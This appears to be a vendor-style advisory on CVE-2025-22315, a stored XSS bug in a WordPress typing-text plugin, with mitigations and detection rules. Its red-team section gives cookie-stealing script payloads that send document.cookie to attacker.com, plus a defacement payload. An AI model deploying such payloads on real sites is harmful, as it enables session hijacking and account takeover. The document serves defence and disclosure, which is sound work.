CVE-2025-22315

Executive Summary

CVE-2025-22315 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Typing Text by WPDeveloper, affecting versions up to and including 1.2.7. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin’s settings or output. When a site administrator or visitor loads a page containing the maliciously crafted typing text block, the injected script executes in the context of the victim’s browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score of 6.5 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the payload makes it particularly dangerous for multi-user WordPress installations.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. No known supply chain compromise (e.g., malicious commits or backdoored packages) has been reported. However, the lack of a patch from the vendor (WPDeveloper) means that all sites running version 1.2.7 or earlier are at risk. Administrators should treat this as a zero-day until an update is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required (R) – Victim must visit a page with the malicious block.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can persist and affect multiple users.

Deep Dive & Mechanics

The Typing Text plugin (slug: typing-text) provides a Gutenberg block that displays animated typing effects. The vulnerability exists in the block’s rendering callback, which fails to sanitize or escape user-supplied parameters such as text, prefix, or suffix. When a contributor or higher-privilege user creates or edits a block, they can inject HTML/JavaScript into these fields. The plugin stores the unsanitized input in the WordPress database (post meta or block attributes). When the block is rendered on the front end, the malicious payload is output without proper escaping, causing the browser to execute the injected script.

Root Cause: The plugin uses echo $attributes['text'] or similar direct output without applying esc_html(), wp_kses(), or htmlspecialchars().

Attack Flow:

1. Attacker logs in as a contributor (or higher).
2. Creates a new post/page and adds the Typing Text block.
3. Injects a payload like <script>alert('XSS')</script> into the text field.
4. Publishes or saves the post.
5. Any user (including admin) viewing the post triggers the script.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.2.7):

// In typing-text.php or block render callback
function render_typing_text_block($attributes) {
    $text = $attributes['text']; // No sanitization
    return "<div class='typing-text'>" . $text . "</div>";
}

Patched Code (hypothetical fix):

function render_typing_text_block($attributes) {
    $text = esc_html($attributes['text']); // Properly escaped
    return "<div class='typing-text'>" . $text . "</div>";
}

Key Difference: The patched version uses esc_html() to neutralize HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with Typing Text plugin <= 1.2.7.
• Attacker account with Contributor role or higher.

Exploit Steps:

1. Log in to WordPress admin.
2. Navigate to Posts > Add New.
3. Add a Typing Text block.
4. In the "Text" field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Publish the post.
6. Wait for an admin or visitor to view the post.

Payload Variations:

• Session hijacking: <script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
• Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>

Blue Team (Defensive)

Detection:

• Monitor for posts containing <script> tags in custom fields or block attributes.
• Use WAF rules to block XSS payloads in post content.

Hunting Query (WordPress Admin):

SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content LIKE '%<script>%'
  AND post_type = 'post';

Prevention:

• Disable the plugin until a patch is available.
• Restrict contributor roles from using the Typing Text block via user role editor.
• Apply a virtual patch via WAF (e.g., block requests containing typing-text with <script>).

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/typing-text/typing-text.php (version <= 1.2.7)
• Database: Posts/pages containing <script> tags in post_content or block attributes.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress audit logs showing creation of posts with unusual block content.

Detection Engineering

YARA Rule

rule CVE_2025_22315_TypingText_XSS {
    meta:
        description = "Detects malicious payloads targeting CVE-2025-22315 in WordPress Typing Text plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22315"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_file = "typing-text.php"
    condition:
        $plugin_file and #xss_payload > 0
}

Sigma Rule

title: CVE-2025-22315 - Stored XSS in Typing Text Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS payloads in WordPress posts created by the Typing Text plugin
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains: '<script>'
        post_type: 'post'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-22315 - Stored XSS Payload in Typing Text"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script>"; within:100; reference:cve,2025-22315; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Audit existing posts for injected scripts using the SQL query in the Blue Team section.
3. Remove malicious posts and reset compromised user sessions.

Long-term Fix:

• Apply the vendor patch when available (monitor WPDeveloper’s plugin page).
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a Web Application Firewall (WAF) with XSS rules.

Workaround:

• If the plugin cannot be disabled, restrict the typing-text block to administrators only via functions.php:

  add_filter('allowed_block_types_all', function($allowed_blocks) {
      if (!current_user_can('administrator')) {
          unset($allowed_blocks['typing-text/typing-text-block']);
      }
      return $allowed_blocks;
  });
  

Valters IT Signature:
"Securing digital frontiers, one CVE at a time."